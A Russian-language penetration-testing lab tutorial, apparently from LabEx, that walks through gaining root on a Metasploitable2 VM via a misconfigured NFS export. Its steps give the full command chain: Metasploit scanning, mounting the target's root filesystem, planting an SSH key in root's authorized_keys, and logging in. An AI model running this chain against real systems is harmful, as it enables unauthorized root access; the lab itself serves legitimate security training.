Введение
Сетевой файловый систем (Network File System, NFS) - это протокол распределенной файловой системы, который позволяет пользователям доступаться к удаленным файлам так, как если бы они были локальными. Однако неправильная настройка NFS может привести к серьезным уязвимостям безопасности, позволяя злоумышленникам получить несанкционированный доступ к системе. В этом лабораторном занятии вы научитесь эксплуатировать неправильную настройку NFS для получения прав root на целевой машине.
Цель этого лабораторного занятия - понять риски, связанные с неправильной настройкой NFS, и научиться успешно проводить атаки на основе NFS. К концу лабораторной работы вы получите практический опыт в обнаружении общих ресурсов NFS, их локальном монтировании и использовании неправильной настройки для получения привилегий root на целевой системе.
Сканирование NFS-шаров
На этом этапе вы будете использовать Metasploit Framework для сканирования целевой машины на наличие общих ресурсов NFS.
Теперь вы запустите машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для проведения эксперимента.
- Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2
Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.
- Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить пингование.
- Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host --privileged b5b709a49cd5 bash
В команде есть дополнительный параметр --privileged, который используется для того, чтобы пользователь root внутри контейнера имел реальные привилегии root. В противном случае пользователь root внутри контейнера - это просто обычный пользователь с внешними привилегиями. Запуск контейнера с параметром --privileged позволяет видеть многие устройства на хосте и выполнять операцию mount, а также позволяет запускать контейнеры Docker внутри контейнеров Docker.
- Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102
Нажмите Ctrl+C, чтобы остановить пингование.
Теперь как машина-атакующая, так и целевая машина запущены, и вы можете приступить к пентестингу.
- Теперь запустите консоль Metasploit:
cd ~
msfconsole
- В консоли Metasploit используйте модуль
auxiliary/scanner/nfs/nfsmountдля сканирования на наличие общих ресурсов NFS:
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit
Этот модуль выполнит сканирование целевой системы и отобразит все экспортированные общие ресурсы NFS.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку
Монтирование NFS-шара
На этом этапе вы будете монтировать общий корневой ресурс NFS в контейнере Kali.
Сначала установите пакет nfs-common:
cd /
apt-get install -y nfs-common
Монтируйте общий корневой ресурс NFS:
mount -t nfs -o nolock 192.168.122.102:/ /mnt
Эта команда монтирует корневой каталог (/) целевой системы в каталог /mnt контейнера Kali.
Проверьте, правильно ли смонтирован общий ресурс NFS, выведя содержимое каталога /mnt:
ls /mnt
Вы должны увидеть содержимое корневого каталога целевой системы.
Создание пары SSH-ключей
На этом этапе вы создадите пару SSH-ключей, чтобы обеспечить доступ к целевой системе по SSH без ввода пароля.
Сгенерируйте пару SSH-ключей:
ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa
Эта команда создаст два файла: /root/.ssh/id_rsa (частный ключ) и /root/.ssh/id_rsa.pub (публичный ключ).
Включение доступа по SSH без пароля
На этом этапе вы добавите публичный ключ в файл разрешенных ключей целевой системы, чтобы обеспечить доступ по SSH без ввода пароля.
Скопируйте публичный ключ в файл разрешенных ключей целевой системы:
cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
Эта команда добавит содержимое файла с публичным ключом в файл /root/.ssh/authorized_keys на целевой системе.
Получение root-доступа
На этом этапе вы будете использовать доступ по SSH без пароля для входа на целевую систему под пользователем root.
Подключитесь к целевой системе с помощью SSH:
ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102
Теперь у вас должен быть доступ к оболочке с правами root на целевой системе без запроса пароля.
Резюме
В этом лабораторном занятии вы узнали, как использовать неправильную конфигурацию NFS для получения несанкционированного доступа с правами root на целевую систему. Вы начали с поиска общих ресурсов NFS с использованием Metasploit Framework, а затем смонтировали общий корневой ресурс NFS на своей локальной машине. Затем вы создали пару SSH-ключей и добавили публичный ключ в файл разрешенных ключей целевой системы, чтобы обеспечить доступ по SSH без ввода пароля. Наконец, вы использовали доступ по SSH без пароля для входа на целевую систему под пользователем root.
В этом лабораторном занятии продемонстрирована важность правильной настройки общих ресурсов NFS и потенциальные риски, связанные с неправильной конфигурацией. Понимая эти уязвимости, вы сможете лучше защитить свои системы и противостоять потенциальным атакам.



